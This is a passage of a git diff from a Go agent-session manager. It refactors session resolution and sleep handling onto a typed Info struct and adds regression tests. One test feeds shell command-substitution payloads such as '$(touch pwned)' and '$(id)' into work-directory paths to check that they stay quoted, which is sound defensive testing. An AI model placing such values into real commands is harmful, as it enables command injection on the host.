-		TraceReasonNoDemand,
-		TraceReasonNoMatchingSession,
-		TraceReasonDependencyBlocked,
-		TraceReasonStorePartial,
-		TraceReasonConfigDrift,
-		TraceReasonIdle,
-		TraceReasonPendingCreateRollback,
-		TraceReasonWakeFailureIncremented,
-		TraceReasonQuarantineEntered,
-		TraceReasonUnknownStateSkipped,
-		TraceReasonTemplateMissing,
-		TraceReasonNoEffectTemplateMatch,
-		TraceReasonAutoArmSuppressed,
-		TraceReasonRetained,
-		TraceReasonExpired,
-		TraceReasonAgentCap,
-		TraceReasonRigCap,
-		TraceReasonWorkspaceCap,
-		TraceReasonCap,
-		TraceReasonMinFill,
-		TraceReasonInFlightReuse,
-		TraceReasonWake,
-		TraceReasonIdleTimeout,
-		TraceReasonStaleGeneration,
-		TraceReasonSuspended,
-		TraceReasonOrphaned,
-		TraceReasonDrainTimeout,
-		TraceReasonStoreQueryPartial,
-		TraceReasonNoWakeReason,
-		TraceReasonFSPressure,
-		TraceReasonResetStalled:
-		return TraceReasonCode(raw), ""
-	default:
-		return TraceReasonUnknown, raw
-	}
-}
-
-func normalizeTraceOutcomeCode(raw string) (TraceOutcomeCode, string) {
-	switch TraceOutcomeCode(strings.TrimSpace(raw)) {
-	case TraceOutcomeUnknown,
-		TraceOutcomeComplete,
-		TraceOutcomePartial,
-		TraceOutcomeApplied,
-		TraceOutcomeNoChange,
-		TraceOutcomeFailed,
-		TraceOutcomeSuccess,
-		TraceOutcomeDeferredByWakeBudget,
-		TraceOutcomeSessionExists,
-		TraceOutcomeSessionExistsConverged,
-		TraceOutcomeBlockedOnDependencies,
-		TraceOutcomeProviderError,
-		TraceOutcomePanicRecovered,
-		TraceOutcomeDeadlineExceeded,
-		TraceOutcomeCanceled,
-		TraceOutcomeSlowStorageDegraded,
-		TraceOutcomeLowSpaceDegraded,
-		TraceOutcomePromotionPartialContext,
-		TraceOutcomeAccepted,
-		TraceOutcomeRejected,
-		TraceOutcomeSkipped,
-		TraceOutcomeDrain,
-		TraceOutcomeClosed,
-		TraceOutcomeRollback,
-		TraceOutcomeDeferredAttached,
-		TraceOutcomeDeferredActive,
-		TraceOutcomeStop,
-		TraceOutcomeStartCandidate,
-		TraceOutcomeRetry,
-		TraceOutcomeCancel:
-		return TraceOutcomeCode(strings.TrimSpace(raw)), ""
-	default:
-		return TraceOutcomeUnknown, strings.TrimSpace(raw)
-	}
-}
-
 func newTraceID(prefix string) string {
 	var buf [8]byte
 	if _, err := rand.Read(buf[:]); err != nil {
diff --git a/cmd/gc/session_resolve.go b/cmd/gc/session_resolve.go
index ea0af3d34f..309db7e635 100644
--- a/cmd/gc/session_resolve.go
+++ b/cmd/gc/session_resolve.go
@@ -144,10 +144,13 @@ func resolveSessionIDWithOptions(
 	}
 	if id, err := session.ResolveSessionID(store, identifier); err == nil {
 		if cfg != nil {
-			if bead, getErr := store.Get(id); getErr == nil && isNamedSessionBead(bead) {
-				identity := namedSessionIdentity(bead)
-				if identity != "" && config.FindNamedSession(cfg, identity) == nil {
-					return "", fmt.Errorf("%w: %q", session.ErrSessionNotFound, identifier)
+			if bead, getErr := store.Get(id); getErr == nil {
+				info := session.InfoFromPersistedBead(bead)
+				if isNamedSessionInfo(info) {
+					identity := namedSessionIdentityInfo(info)
+					if identity != "" && config.FindNamedSession(cfg, identity) == nil {
+						return "", fmt.Errorf("%w: %q", session.ErrSessionNotFound, identifier)
+					}
 				}
 			}
 		}
@@ -194,7 +197,7 @@ func resolveOpenQualifiedAliasBasename(store beads.Store, identifier string) (st
 			continue
 		}
 		session.RepairEmptyType(store, &b)
-		alias := strings.TrimSpace(b.Metadata["alias"])
+		alias := strings.TrimSpace(session.InfoFromPersistedBead(b).Alias)
 		if alias == "" || !strings.Contains(alias, "/") || session.TargetBasename(alias) != identifier {
 			continue
 		}
@@ -208,7 +211,7 @@ func resolveOpenQualifiedAliasBasename(store beads.Store, identifier string) (st
 	default:
 		labels := make([]string, 0, len(matches))
 		for _, match := range matches {
-			labels = append(labels, fmt.Sprintf("%s (%s)", match.ID, strings.TrimSpace(match.Metadata["alias"])))
+			labels = append(labels, fmt.Sprintf("%s (%s)", match.ID, strings.TrimSpace(session.InfoFromPersistedBead(match).Alias)))
 		}
 		return "", fmt.Errorf("%w: %q matches %d sessions: %s", session.ErrAmbiguous, identifier, len(matches), strings.Join(labels, ", "))
 	}
diff --git a/cmd/gc/session_resolve_test.go b/cmd/gc/session_resolve_test.go
index 18c41296b0..bbf8f119b6 100644
--- a/cmd/gc/session_resolve_test.go
+++ b/cmd/gc/session_resolve_test.go
@@ -941,10 +941,10 @@ func TestResolveSessionIDMaterializingNamed_RuntimeSessionNameWrongTemplateConfl
 	if err != nil {
 		t.Fatalf("loadSessionBeadSnapshot(): %v", err)
 	}
-	if bead, conflict := findNamedSessionConflict(snapshot, spec); !conflict {
-		t.Fatalf("findNamedSessionConflict() = false, want conflict; snapshot=%#v", snapshot.Open())
-	} else if bead.Metadata["template"] != "other" {
-		t.Fatalf("findNamedSessionConflict() bead template = %q, want other", bead.Metadata["template"])
+	if info, conflict := findNamedSessionConflictInfo(snapshot, spec); !conflict {
+		t.Fatalf("findNamedSessionConflictInfo() = false, want conflict; snapshot=%#v", snapshot.Open())
+	} else if info.Template != "other" {
+		t.Fatalf("findNamedSessionConflictInfo() info template = %q, want other", info.Template)
 	}
 
 	id, err := resolveSessionIDMaterializingNamed(cityPath, cfg, store, "mayor")
diff --git a/cmd/gc/session_scaffold_staging_test.go b/cmd/gc/session_scaffold_staging_test.go
new file mode 100644
index 0000000000..52a3293df0
--- /dev/null
+++ b/cmd/gc/session_scaffold_staging_test.go
@@ -0,0 +1,238 @@
+package main
+
+import (
+	"io"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/agent"
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/clock"
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/runtime"
+	"github.com/gastownhall/gascity/internal/shellquote"
+)
+
+func TestPrepareStartCandidateStagesScaffoldInResolvedTaskWorkDirWhenCWDIsSharedWorktree(t *testing.T) {
+	root := t.TempDir()
+	cityPath := filepath.Join(root, "city")
+	sharedWorktree := filepath.Join(root, "shared-builder")
+	beadSlug := "ga-ajw1no-1-as-a-maintainer-i-can-reproduce-stray-session-scaffold-leakage"
+	leakedWorkDir := filepath.Join(sharedWorktree, beadSlug)
+	relativeTargetWorkDir := filepath.Join(".gc", "worktrees", "gascity", "builder", beadSlug)
+	targetWorkDir := filepath.Join(cityPath, relativeTargetWorkDir)
+	packOverlay := filepath.Join(cityPath, "packs", "core", "overlay")
+
+	writeScaffoldFixture(t, filepath.Join(packOverlay, ".claude", "skills", "triage", "SKILL.md"), "---\nname: triage\n---\n")
+	writeScaffoldFixture(t, filepath.Join(packOverlay, ".codex", "hooks.json"), `{"hooks":{"SessionStart":[]}}`+"\n")
+	writeScaffoldFixture(t, filepath.Join(packOverlay, ".gc", "settings.json"), "{}\n")
+	if err := os.MkdirAll(targetWorkDir, 0o755); err != nil {
+		t.Fatalf("MkdirAll(%q): %v", targetWorkDir, err)
+	}
+	if err := os.MkdirAll(sharedWorktree, 0o755); err != nil {
+		t.Fatalf("MkdirAll(%q): %v", sharedWorktree, err)
+	}
+	t.Chdir(sharedWorktree)
+
+	store := beads.NewMemStore()
+	session, err := store.Create(beads.Bead{
+		Title:  "builder",
+		Type:   sessionBeadType,
+		Labels: []string{sessionBeadLabel, "agent:gascity/builder"},
+		Metadata: map[string]string{
+			"template":     "builder",
+			"session_name": "builder-ga-ajw1no",
+		},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	task, err := store.Create(beads.Bead{
+		Title: "task",
+		Metadata: map[string]string{
+			"work_dir": relativeTargetWorkDir,
+		},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	status := "in_progress"
+	assignee := session.ID
+	if err := store.Update(task.ID, beads.UpdateOpts{Status: &status, Assignee: &assignee}); err != nil {
+		t.Fatal(err)
+	}
+
+	prepared, err := prepareStartCandidateForCity(startCandidate{
+		session: &session,
+		tp: TemplateParams{
+			TemplateName: "gascity/builder",
+			SessionName:  "builder-ga-ajw1no",
+			WorkDir:      leakedWorkDir,
+			Env: map[string]string{
+				"GC_DIR": leakedWorkDir,
+			},
+			Hints: agent.StartupHints{
+				ProviderName:        "codex",
+				ProviderOverlayName: "codex",
+				PackOverlayDirs:     []string{packOverlay},
+				PreStart:            appendMaterializeSkillsPreStart(nil, "gascity/builder", leakedWorkDir),
+			},
+		},
+		order: 0,
+	}, cityPath, "city", &config.City{
+		Agents: []config.Agent{
+			{
+				Name:              "builder",
+				Dir:               "gascity",
+				MinActiveSessions: intPtrScaffoldRegression(1),
+				MaxActiveSessions: intPtrScaffoldRegression(2),
+			},
+		},
+	}, nil, store, &clock.Fake{Time: time.Date(2026, 7, 1, 12, 0, 0, 0, time.UTC)}, io.Discard, nil)
+	if err != nil {
+		t.Fatalf("prepareStartCandidateForCity: %v", err)
+	}
+
+	if prepared.cfg.WorkDir != targetWorkDir {
+		t.Errorf("prepared.cfg.WorkDir = %q, want resolved task work_dir %q", prepared.cfg.WorkDir, targetWorkDir)
+	}
+	if prepared.cfg.Env["GC_DIR"] != targetWorkDir {
+		t.Errorf("prepared.cfg.Env[GC_DIR] = %q, want %q", prepared.cfg.Env["GC_DIR"], targetWorkDir)
+	}
+	if len(prepared.cfg.PreStart) != 1 {
+		t.Fatalf("PreStart = %v, want materialize-skills entry", prepared.cfg.PreStart)
+	}
+	if !strings.Contains(prepared.cfg.PreStart[0], "--workdir "+targetWorkDir) {
+		t.Errorf("materialize-skills PreStart = %q, want resolved target workdir %q", prepared.cfg.PreStart[0], targetWorkDir)
+	}
+	if strings.Contains(prepared.cfg.PreStart[0], leakedWorkDir) {
+		t.Errorf("materialize-skills PreStart still targets shared-cwd bead slug %q: %q", leakedWorkDir, prepared.cfg.PreStart[0])
+	}
+
+	if err := runtime.StageSessionWorkDir(prepared.cfg); err != nil {
+		t.Fatalf("StageSessionWorkDir: %v", err)
+	}
+
+	for _, rel := range []string{
+		filepath.Join(".claude", "skills", "triage", "SKILL.md"),
+		filepath.Join(".codex", "hooks.json"),
+		filepath.Join(".gc", "settings.json"),
+	} {
+		if _, err := os.Stat(filepath.Join(targetWorkDir, rel)); err != nil {
+			t.Errorf("target scaffold %s missing under resolved workdir %q: %v", rel, targetWorkDir, err)
+		}
+	}
+	if _, err := os.Stat(leakedWorkDir); err == nil {
+		t.Fatalf("shared cwd contains stray bead-slug scaffold directory %q; scaffold must stay under %q", leakedWorkDir, targetWorkDir)
+	} else if !os.IsNotExist(err) {
+		t.Fatalf("stat leaked workdir %q: %v", leakedWorkDir, err)
+	}
+}
+
+func writeScaffoldFixture(t *testing.T, path, content string) {
+	t.Helper()
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		t.Fatalf("MkdirAll(%q): %v", filepath.Dir(path), err)
+	}
+	if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
+		t.Fatalf("WriteFile(%q): %v", path, err)
+	}
+}
+
+func intPtrScaffoldRegression(n int) *int {
+	return &n
+}
+
+// TestRetargetPreStartWorkDirPreservesShellQuoting proves that retargeting a
+// generated materialize-skills / project-mcp PreStart command onto a resolved
+// task work_dir keeps the `--workdir` argument shell-safe. The generators emit
+// the workdir as a shell-quoted token; a resolved work_dir that contains a
+// space (macOS "/Users/First Last/...") or a shell metacharacter must not be
+// spliced in raw, or the rendered `sh -c` command breaks argument boundaries or
+// opens a command-substitution surface.
+func TestRetargetPreStartWorkDirPreservesShellQuoting(t *testing.T) {
+	t.Parallel()
+
+	const (
+		agentName  = "gascity/builder"
+		identity   = "gascity/gc.builder"
+		oldWorkDir = "/data/worktrees/gascity/builder/ga-clean"
+	)
+
+	generators := []struct {
+		label    string
+		preStart func(workDir string) []string
+	}{
+		{
+			label: "materialize-skills",
+			preStart: func(workDir string) []string {
+				return appendMaterializeSkillsPreStart(nil, agentName, workDir)
+			},
+		},
+		{
+			label: "project-mcp",
+			preStart: func(workDir string) []string {
+				return appendProjectMCPPreStart(nil, agentName, identity, workDir)
+			},
+		},
+	}
+
+	cases := []struct {
+		name       string
+		newWorkDir string
+	}{
+		{name: "space", newWorkDir: "/Users/John Doe/city/worktrees/gascity/builder/ga-target"},
+		{name: "command_substitution_with_space", newWorkDir: "/opt/proj $(touch pwned)/builder"},
+		{name: "command_substitution_no_space", newWorkDir: "/opt/$(id)/builder"},
+	}
+
+	for _, g := range generators {
+		for _, tc := range cases {
+			t.Run(g.label+"/"+tc.name, func(t *testing.T) {
+				t.Parallel()
+				retargeted := retargetPreStartWorkDir(g.preStart(oldWorkDir), oldWorkDir, tc.newWorkDir)
+				if len(retargeted) != 1 {
+					t.Fatalf("retarget produced %d entries, want 1: %v", len(retargeted), retargeted)
+				}
+				cmd := retargeted[0]
+
+				// Structural: the new value must be embedded shell-quoted, exactly as
+				// a from-scratch generation would emit it. This catches metacharacter
+				// injection even when no whitespace forces a re-split.
+				wantToken := "--workdir " + shellquote.Join([]string{tc.newWorkDir})
+				if !strings.Contains(cmd, wantToken) {
+					t.Errorf("retargeted command missing shell-quoted workdir token %q:\n%s", wantToken, cmd)
+				}
+
+				// Behavioral: parsing the command with the same quoting rules the
+				// generator used must recover the intended workdir as a single arg.
+				if got := workdirArgFromCommand(t, cmd); got != tc.newWorkDir {
+					t.Errorf("parsed --workdir = %q, want %q\ncommand: %s", got, tc.newWorkDir, cmd)
+				}
+
+				// The stale pre-override path must be gone entirely.
+				if strings.Contains(cmd, oldWorkDir) {
+					t.Errorf("retargeted command still references old workdir %q:\n%s", oldWorkDir, cmd)
+				}
+			})
+		}
+	}
+}
+
+// workdirArgFromCommand parses a generated PreStart command with the same
+// POSIX quoting rules the generators use and returns the argument following the
+// final --workdir flag.
+func workdirArgFromCommand(t *testing.T, command string) string {
+	t.Helper()
+	args := shellquote.Split(command)
+	for i := len(args) - 1; i > 0; i-- {
+		if args[i-1] == "--workdir" {
+			return args[i]
+		}
+	}
+	t.Fatalf("no --workdir argument in command: %s", command)
+	return ""
+}
diff --git a/cmd/gc/session_sleep.go b/cmd/gc/session_sleep.go
index 59447ce866..f1d5a353e4 100644
--- a/cmd/gc/session_sleep.go
+++ b/cmd/gc/session_sleep.go
@@ -127,19 +127,21 @@ func pendingInteractionKeepsAwake(session beads.Bead, sp runtime.Provider, name
 	if clk != nil {
 		now = clk.Now()
 	}
-	view := sessionpkg.ProjectLifecycle(sessionpkg.LifecycleInput{
-		Status:   session.Status,
-		Metadata: session.Metadata,
-		Runtime: sessionpkg.RuntimeFacts{
-			Observed: true,
-			Alive:    true,
-			Pending:  true,
-		},
-		Now: now,
-	})
+	lcInput := sessionpkg.LifecycleInputFromMetadata(session.Status, session.Metadata)
+	lcInput.Runtime = sessionpkg.RuntimeFacts{
+		Observed: true,
+		Alive:    true,
+		Pending:  true,
+	}
+	lcInput.Now = now
+	view := sessionpkg.ProjectLifecycle(lcInput)
 	return !view.HasBlocker(sessionpkg.BlockerHeld) && !view.HasBlocker(sessionpkg.BlockerQuarantined)
 }
 
+// reconcileDetachedAt tracks when a session last became detached for idle-sleep
+// accounting. Returns the mirrored {"detached_at": <value>} batch when a write
+// is persisted (clear or set), nil when no change is made. The caller folds the
+// returned batch onto the typed snapshot via ApplyPatch (nil is a no-op).
 func reconcileDetachedAt(
 	session *beads.Bead,
 	store beads.Store,
@@ -147,9 +149,9 @@ func reconcileDetachedAt(
 	alive bool,
 	sp runtime.Provider,
 	clk clock.Clock,
-) {
+) map[string]string {
 	if session == nil || store == nil {
-		return
+		return nil
 	}
 	if policy.Class == config.SessionSleepNonInteractive || !policy.enabled() || sp == nil || !alive || policy.Capability != runtime.SessionSleepCapabilityFull {
 		if session.Metadata["detached_at"] != "" {
@@ -157,13 +159,14 @@ func reconcileDetachedAt(
 				log.Printf("session sleep: clearing detached_at for %s: %v", session.ID, err)
 			} else {
 				session.Metadata["detached_at"] = ""
+				return map[string]string{"detached_at": ""}
 			}
 		}
-		return
+		return nil
 	}
 	name := session.Metadata["session_name"]
 	if name == "" {
-		return
+		return nil
 	}
 	attached, err := workerSessionTargetAttachedWithConfig("", store, sp, nil, session.ID)
 	if err == nil && attached {
@@ -172,9 +175,10 @@ func reconcileDetachedAt(
 				log.Printf("session sleep: clearing detached_at for %s: %v", session.ID, err)
 			} else {
 				session.Metadata["detached_at"] = ""
+				return map[string]string{"detached_at": ""}
 			}
 		}
-		return
+		return nil
 	}
 	if session.Metadata["detached_at"] == "" {
 		ts := clk.Now().UTC().Format(time.RFC3339)
@@ -182,8 +186,10 @@ func reconcileDetachedAt(
 			log.Printf("session sleep: setting detached_at for %s: %v", session.ID, err)
 		} else {
 			session.Metadata["detached_at"] = ts
+			return map[string]string{"detached_at": ts}
 		}
 	}
+	return nil
 }
 
 func sessionIdleReference(session beads.Bead, sp runtime.Provider) time.Time {
@@ -256,7 +262,7 @@ func sessionKeepWarmEligible(
 
 func persistSleepPolicyMetadata(
 	session *beads.Bead,
-	sessFront *sessionpkg.InfoStore,
+	sessFront *sessionpkg.Store,
 	policy resolvedSessionSleepPolicy,
 	configSuppressed bool,
 ) {
@@ -303,22 +309,27 @@ func persistSleepPolicyMetadata(
 	}
 }
 
-func markIdleSleepPending(session *beads.Bead, sessFront *sessionpkg.InfoStore) {
+// markIdleSleepPending returns the metadata patch it applied (sleep_intent =
+// idle-stop-pending) so the reconciler can fold it onto the infoByID snapshot
+// (write-returns-Info), or nil when it was a no-op. The raw mirror onto
+// session.Metadata is kept (dropped in Step 5).
+func markIdleSleepPending(session *beads.Bead, sessFront *sessionpkg.Store) sessionpkg.MetadataPatch {
 	if session == nil || sessFront == nil || session.Metadata["sleep_intent"] == "idle-stop-pending" {
-		return
+		return nil
 	}
 	if err := sessFront.SetMarker(session.ID, "sleep_intent", "idle-stop-pending"); err != nil {
-		return
+		return nil
 	}
 	if session.Metadata == nil {
 		session.Metadata = make(map[string]string, 1)
 	}
 	session.Metadata["sleep_intent"] = "idle-stop-pending"
+	return sessionpkg.MetadataPatch{"sleep_intent": "idle-stop-pending"}
 }
 
 func recoverPendingIdleSleep(
 	session *beads.Bead,
-	sessFront *sessionpkg.InfoStore,
+	sessFront *sessionpkg.Store,
 	running bool,
 	clk clock.Clock,
 ) bool {
@@ -351,3 +362,10 @@ func boolMetadata(v bool) string {
 func isManualSessionBead(bead beads.Bead) bool {
 	return strings.TrimSpace(bead.Metadata["session_origin"]) == "manual" || bead.Metadata["manual_session"] == boolMetadata(true)
 }
+
+// isManualSessionInfo is the session.Info mirror of isManualSessionBead. The
+// manual_session clause compares the RAW metadata (Info.ManualSessionMetadata)
+// without trimming, exactly as the bead form does.
+func isManualSessionInfo(i sessionpkg.Info) bool {
+	return strings.TrimSpace(i.SessionOrigin) == "manual" || i.ManualSessionMetadata == boolMetadata(true)
+}
diff --git a/cmd/gc/session_sleep_test.go b/cmd/gc/session_sleep_test.go
index c6c0c5c443..0b1c2faf7e 100644
--- a/cmd/gc/session_sleep_test.go
+++ b/cmd/gc/session_sleep_test.go
@@ -10,8 +10,21 @@ import (
 	"github.com/gastownhall/gascity/internal/clock"
 	"github.com/gastownhall/gascity/internal/config"
 	"github.com/gastownhall/gascity/internal/runtime"
+	sessionpkg "github.com/gastownhall/gascity/internal/session"
 )
 
+// infoByIDForTargets projects the wakeTargets' beads into the coherent Info
+// snapshot the reconciler passes to the idle-probe helpers.
+func infoByIDForTargets(targets []wakeTarget) map[string]sessionpkg.Info {
+	m := make(map[string]sessionpkg.Info, len(targets))
+	for _, tg := range targets {
+		if tg.session != nil {
+			m[tg.session.ID] = sessionpkg.InfoFromPersistedBead(*tg.session)
+		}
+	}
+	return m
+}
+
 func boolPtr(v bool) *bool { return &v }
 
 type routedSleepProvider struct {
@@ -1204,8 +1217,9 @@ func TestSelectIdleProbeTargets_RotatesAcrossTicks(t *testing.T) {
 		"four":  {Policy: policy, ConfigSuppressed: true},
 	}
 	dt := newDrainTracker()
+	infoByID := infoByIDForTargets(wakeTargets)
 
-	first := selectIdleProbeTargets(wakeTargets, wakeEvals, dt)
+	first := selectIdleProbeTargets(wakeTargets, wakeEvals, dt, infoByID)
 	if len(first) != 3 {
 		t.Fatalf("first selection = %d targets, want 3", len(first))
 	}
@@ -1213,7 +1227,7 @@ func TestSelectIdleProbeTargets_RotatesAcrossTicks(t *testing.T) {
 		t.Fatalf("first selection unexpectedly included fourth target: %v", first)
 	}
 
-	second := selectIdleProbeTargets(wakeTargets, wakeEvals, dt)
+	second := selectIdleProbeTargets(wakeTargets, wakeEvals, dt, infoByID)
 	if !second["four"] {
 		t.Fatalf("second selection should rotate in fourth target, got %v", second)
 	}
@@ -1240,7 +1254,7 @@ func TestSelectIdleProbeTargets_SkipsExplicitSleepIntent(t *testing.T) {
 		"wait-hold": {Policy: policy, ConfigSuppressed: true},
 	}
 
-	targets := selectIdleProbeTargets(wakeTargets, wakeEvals, dt)
+	targets := selectIdleProbeTargets(wakeTargets, wakeEvals, dt, infoByIDForTargets(wakeTargets))
 	if len(targets) != 0 {
 		t.Fatalf("selectIdleProbeTargets returned %v, want no probe targets", targets)
 	}
diff --git a/cmd/gc/session_snapshot_info_equiv_test.go b/cmd/gc/session_snapshot_info_equiv_test.go
new file mode 100644
index 0000000000..91e550685a
--- /dev/null
+++ b/cmd/gc/session_snapshot_info_equiv_test.go
@@ -0,0 +1,197 @@
+package main
+
+import (
+	"reflect"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/session"
+)
+
+// TestSessionSnapshotInfoEquivalence is the byte-identical oracle for P3 of
+// NONWORK-BEAD-FIELDDOOR-PLAN.md. The snapshot grows typed session.Info
+// accessors (OpenInfos / FindInfoByID / FindInfoByTemplate /
+// FindInfoByNamedIdentity) ADDITIVELY alongside the existing raw-bead methods.
+//
+// Each Info accessor must return exactly InfoFromPersistedBead(b) for the same
+// bead b the corresponding bead method returns. Proving that here keeps the P4
+// consumer migration safe: a consumer can swap Open()/Find*Bead for the Info
+// form without any change in meaning. Any divergence is a real lockstep or
+// codec bug.
+func TestSessionSnapshotInfoEquivalence(t *testing.T) {
+	beadsIn := []beads.Bead{
+		{
+			ID:     "ga-pool",
+			Type:   session.BeadType,
+			Title:  "worker",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":     "frontend/worker",
+				"agent_name":   "frontend/worker-1",
+				"pool_managed": "true",
+				"pool_slot":    "1",
+				"state":        "awake",
+				"session_name": "worker-ga-pool",
+			},
+		},
+		{
+			ID:     "ga-named",
+			Type:   session.BeadType,
+			Title:  "mayor",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":                  "mayor",
+				"configured_named_session":  "true",
+				"configured_named_identity": "mayor",
+				"session_name":              "mayor-session",
+				"state":                     "active",
+			},
+		},
+		{
+			ID:     "ga-common",
+			Type:   session.BeadType,
+			Title:  "deacon",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":     "deacon",
+				"common_name":  "the-deacon",
+				"session_name": "deacon-session",
+			},
+		},
+		{
+			ID:     "ga-other-template",
+			Type:   session.BeadType,
+			Title:  "polecat",
+			Labels: []string{session.LabelSession, "agent:polecat"},
+			Metadata: map[string]string{
+				"template":     "polecat",
+				"session_name": "polecat-session",
+			},
+		},
+		{
+			ID:     "ga-empty-sn",
+			Type:   session.BeadType,
+			Title:  "no-session-name",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template": "scribe",
+			},
+		},
+		{
+			ID:     "ga-closed",
+			Type:   session.BeadType,
+			Title:  "closed",
+			Status: "closed",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":                  "worker",
+				"configured_named_identity": "ghost",
+				"session_name":              "ghost-session",
+			},
+		},
+	}
+
+	snap := newSessionBeadSnapshot(beadsIn)
+
+	// OpenInfos mirrors Open one-for-one (closed bead filtered out of both).
+	open := snap.Open()
+	openInfos := snap.OpenInfos()
+	if len(openInfos) != len(open) {
+		t.Fatalf("len(OpenInfos) = %d, want len(Open) = %d", len(openInfos), len(open))
+	}
+	for i := range open {
+		want := session.InfoFromPersistedBead(open[i])
+		if !reflect.DeepEqual(openInfos[i], want) {
+			t.Errorf("OpenInfos[%d] = %#v, want InfoFromPersistedBead(Open()[%d]) = %#v",
+				i, openInfos[i], i, want)
+		}
+	}
+
+	// The closed bead must not leak into the typed view either.
+	for i, info := range openInfos {
+		if info.ID == "ga-closed" {
+			t.Errorf("OpenInfos[%d] surfaced the closed bead ga-closed", i)
+		}
+	}
+
+	// FindInfoByID agrees with FindByID on hits and misses.
+	for _, id := range []string{"ga-pool", "ga-named", "ga-common", "ga-empty-sn", "ga-closed", "missing", ""} {
+		bead, ok := snap.FindByID(id)
+		info, ok2 := snap.FindInfoByID(id)
+		if ok != ok2 {
+			t.Errorf("FindByID(%q) ok=%v but FindInfoByID ok=%v", id, ok, ok2)
+			continue
+		}
+		if ok {
+			want := session.InfoFromPersistedBead(bead)
+			if !reflect.DeepEqual(info, want) {
+				t.Errorf("FindInfoByID(%q) = %#v, want %#v", id, info, want)
+			}
+		}
+	}
+
+	// FindInfoByTemplate agrees with FindSessionBeadByTemplate. Covers an
+	// agent-name index hit, a template-hint hit, a common-name hit, and a miss.
+	for _, template := range []string{"frontend/worker-1", "mayor", "the-deacon", "deacon", "polecat", "nope", ""} {
+		bead, ok := snap.FindSessionBeadByTemplate(template)
+		info, ok2 := snap.FindInfoByTemplate(template)
+		if ok != ok2 {
+			t.Errorf("FindSessionBeadByTemplate(%q) ok=%v but FindInfoByTemplate ok=%v", template, ok, ok2)
+			continue
+		}
+		if ok {
+			want := session.InfoFromPersistedBead(bead)
+			if !reflect.DeepEqual(info, want) {
+				t.Errorf("FindInfoByTemplate(%q) = %#v, want %#v", template, info, want)
+			}
+		}
+	}
+
+	// FindInfoByNamedIdentity agrees with FindSessionBeadByNamedIdentity. The
+	// closed bead's identity (ghost) must miss in both.
+	for _, identity := range []string{"mayor", "ghost", "absent", ""} {
+		bead, ok := snap.FindSessionBeadByNamedIdentity(identity)
+		info, ok2 := snap.FindInfoByNamedIdentity(identity)
+		if ok != ok2 {
+			t.Errorf("FindSessionBeadByNamedIdentity(%q) ok=%v but FindInfoByNamedIdentity ok=%v", identity, ok, ok2)
+			continue
+		}
+		if ok {
+			want := session.InfoFromPersistedBead(bead)
+			if !reflect.DeepEqual(info, want) {
+				t.Errorf("FindInfoByNamedIdentity(%q) = %#v, want %#v", identity, info, want)
+			}
+		}
+	}
+
+	// add() must keep open and openInfos in lockstep.
+	snap.add(beads.Bead{
+		ID:     "ga-added",
+		Type:   session.BeadType,
+		Title:  "added",
+		Labels: []string{session.LabelSession},
+		Metadata: map[string]string{
+			"template":     "added-template",
+			"session_name": "added-session",
+		},
+	})
+	open = snap.Open()
+	openInfos = snap.OpenInfos()
+	if len(openInfos) != len(open) {
+		t.Fatalf("after add: len(OpenInfos) = %d, want len(Open) = %d", len(openInfos), len(open))
+	}
+	for i := range open {
+		want := session.InfoFromPersistedBead(open[i])
+		if !reflect.DeepEqual(openInfos[i], want) {
+			t.Errorf("after add: OpenInfos[%d] diverged from InfoFromPersistedBead(Open()[%d])", i, i)
+		}
+	}
+	addedBead, ok := snap.FindByID("ga-added")
+	addedInfo, ok2 := snap.FindInfoByID("ga-added")
+	if !ok || !ok2 {
+		t.Fatalf("after add: FindByID ok=%v FindInfoByID ok=%v, want both true", ok, ok2)
+	}
+	if !reflect.DeepEqual(addedInfo, session.InfoFromPersistedBead(addedBead)) {
+		t.Errorf("after add: FindInfoByID(ga-added) diverged from InfoFromPersistedBead")
+	}
+}
diff --git a/cmd/gc/session_state_helpers.go b/cmd/gc/session_state_helpers.go
index 00a81b2796..f7c6cfd19a 100644
--- a/cmd/gc/session_state_helpers.go
+++ b/cmd/gc/session_state_helpers.go
@@ -4,6 +4,7 @@ import (
 	"strings"
 
 	"github.com/gastownhall/gascity/internal/beads"
+	sessionpkg "github.com/gastownhall/gascity/internal/session"
 )
 
 func isDrainedSessionMetadata(meta map[string]string) bool {
@@ -18,6 +19,17 @@ func isDrainedSessionBead(session beads.Bead) bool {
 	return isDrainedSessionMetadata(session.Metadata)
 }
 
+// isDrainedSessionInfo is the session.Info mirror of isDrainedSessionBead. It
+// reads the RAW metadata state (Info.MetadataState) and sleep reason
+// (Info.SleepReason), matching the bead form's untrimmed-key reads.
+func isDrainedSessionInfo(i sessionpkg.Info) bool {
+	state := strings.TrimSpace(i.MetadataState)
+	if state == "drained" {
+		return true
+	}
+	return state == "asleep" && strings.TrimSpace(i.SleepReason) == "drained"
+}
+
 // poolSessionIsLive reports whether a pool session bead represents an
 // actively running session for the runningSessions counter in
 // build_desired_state. An asleep or drained bead is not live — it holds
@@ -69,3 +81,20 @@ func isPoolSessionSlotFreeable(session beads.Bead) bool {
 	}
 	return false
 }
+
+// isPoolSessionSlotFreeableInfo is the session.Info mirror of isPoolSessionSlotFreeable.
+func isPoolSessionSlotFreeableInfo(i sessionpkg.Info) bool {
+	if isDrainedSessionInfo(i) {
+		return true
+	}
+	if strings.TrimSpace(i.MetadataState) != "asleep" {
+		return false
+	}
+	reason := strings.TrimSpace(i.SleepReason)
+	switch reason {
+	case "idle", "idle-timeout", sleepReasonCityStop, "failed-create", sleepReasonRuntimeMissing,
+		sleepReasonProviderTerminalError:
+		return true
+	}
+	return false
+}
diff --git a/cmd/gc/session_template_start.go b/cmd/gc/session_template_start.go
index baa3501108..b981079c56 100644
